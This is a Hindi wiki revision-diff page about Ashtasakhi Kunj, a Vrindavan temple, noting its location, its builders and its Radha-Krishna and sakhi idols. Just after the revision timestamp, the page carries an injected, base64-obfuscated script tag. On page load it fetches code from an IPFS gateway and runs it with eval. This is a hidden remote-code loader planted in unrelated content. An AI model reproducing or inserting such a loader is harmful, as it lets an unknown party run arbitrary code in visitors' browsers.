"अष्टसखी कुंज" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
छो (Text replace - '{{Menu}}<br />' to '{{Menu}}') |
|||
पंक्ति १: | पंक्ति १: | ||
{{Menu}} | {{Menu}} | ||
+ | {{प्रसिद्घ वृन्दावन मंदिर}} | ||
==अष्टसखी कुंज / Ashtasakhi Kunj== | ==अष्टसखी कुंज / Ashtasakhi Kunj== | ||
*[[मदन मोहन जी का मंदिर|श्री मदन मोहन जी]] के पुराने मन्दिर के पास में अष्टसखी का कुंज स्थित है। | *[[मदन मोहन जी का मंदिर|श्री मदन मोहन जी]] के पुराने मन्दिर के पास में अष्टसखी का कुंज स्थित है। |
०६:४६, २२ जनवरी २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अष्टसखी कुंज / Ashtasakhi Kunj
- श्री मदन मोहन जी के पुराने मन्दिर के पास में अष्टसखी का कुंज स्थित है।
- हेतमपुर के महाराज ने इसका निर्माण किया था।
- बीच में श्री राधा-कृष्ण युगलस्वरूप तथा इनकी दोनों ओर चार-चार सखियों के विग्रह हैं।
- सन 1216 ई0 में हेतमपुर के महाराजा रामरंजन चक्रवर्ती तथा उनकी पत्नी पद्मासुन्दरी ने इस मन्दिर का निर्माणकर श्री राधारासबिहारी विग्रह को पधराया था।